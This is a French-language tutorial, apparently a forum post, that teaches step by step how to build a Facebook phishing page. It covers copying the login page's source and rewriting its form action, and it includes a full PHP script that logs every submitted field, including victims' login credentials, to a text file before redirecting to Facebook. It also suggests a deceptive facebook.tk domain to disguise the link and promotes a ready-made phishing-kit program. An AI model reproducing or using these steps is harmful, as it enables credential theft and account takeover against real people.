Le phishing

                              Comment réussir facilement le phishing
Je vais vous présenter ma technique pour créer des pages de Phishing simplement et rapidement :


Pour bien commencer il faut:
-Choisir un site, (pour mon tuto je prendrais facebook)
-Créer un dossier sur son ordinateur, (pour mon tuto je prendrais un dossier nommé 'facephish')
-avoir un compte ftp que vous pouvez avoir en vous inscrivant ici : 


Si ces premières étapes ne vous posent aucun problème alors passons à la suite:

1- Je me rend sur le site www.facebook.com, dans la partie 'connectez vous',

2- Je clique droit,  sur la page et je choisis 'code source de la page' puis je clique sur la touche CTRL+A ensuite sur CTRL+C

3- Je me rend dans le dossier 'facephish', puis je créé un fichier texte nommé 'index.php',

4- J'ouvre 'index.php' et je colle le code source récupéré sur facebook,

5- Je fais une recherche dans le code source (ctrl + f) je tape ce mot 'action='

6- Je trouve ' action= avec un lien devant

Je remplace  le lien après les 'action=' (j'en trouve 1 seul pour facebook, cela peut varier en fonction des sites) par ' action="signup.php" '

7- J'enregistre les modifications apportées à mon 'index.php'


8- Je créé maintenant un nouveau fichier texte que je nomme '', toujours dans mon dossier 'facephish' et je colle le code source suivant:
Code :

---

<?php
header ('Location: http://www.facebook.com
$handle = fopen("Next.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
9- Modifiez le lien après 'location:' en fonction du site sur lequel vous travaillez,

10- Il suffit maintenant d'uploader le dossier "facephish" sur votre FTP,


Lorsque vous aurez envoyé votre lien (redirigé) à votre victime, vous aurez ses ID directement sur votre FTP dans un fichier nommé 'Next.txt'



Si toute fois les images n'apparaissent pas comme sur le site original, il vous suffira de rediriger celles-ci dans le code source de l'index, car certains webmaster ne mettent pas les liens complets pour afficher les images.

Et si vous avez des problèmes d'accents, il vous suffira de remplacer le charset de l'index qui est probablement en 'UTF-8' par le charset 'ISO-8859-1'


Pour bien masquer votre phish allez sur le site www.dot.tk et crée l'adresse de redirection de votre site ou l'adresse de redirection par exemple facebook.tk sera le lien de votre page de phishing 
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
                                                                  2é Cas

Et pour ceux qui ne le reussirons pas j'ai un petit programme tout fait pour vous; en trois clics vous 
aurez les fichiers


Cliquez ici pour le télécharger
Installez le programme et lancez le 
                                          Creation du phish
1-entrez le lien du site cible. Ce lien doit etre le lien de la page de connection du site cible en bas de step 1 dans le rectangle noir et cliquez GO
2-Cliquez Process
3-Cliquez Creat my phisher
ensuite cliquez sur My phisher en haut de step 1 vous aurez une nouvelle fenetre avec un dossier au nom du site cible ...copier et coller le sur le bureau pour mieux vous situer et envoyer le sur votre site ftp et il ne reste qu'a envoyer le lien au victime .. Quand il mordra a l'hameçon vous aurez ses informations dans le fichier AVHS_txt ....
Si vous avez des questions n'esitez pas a les poser.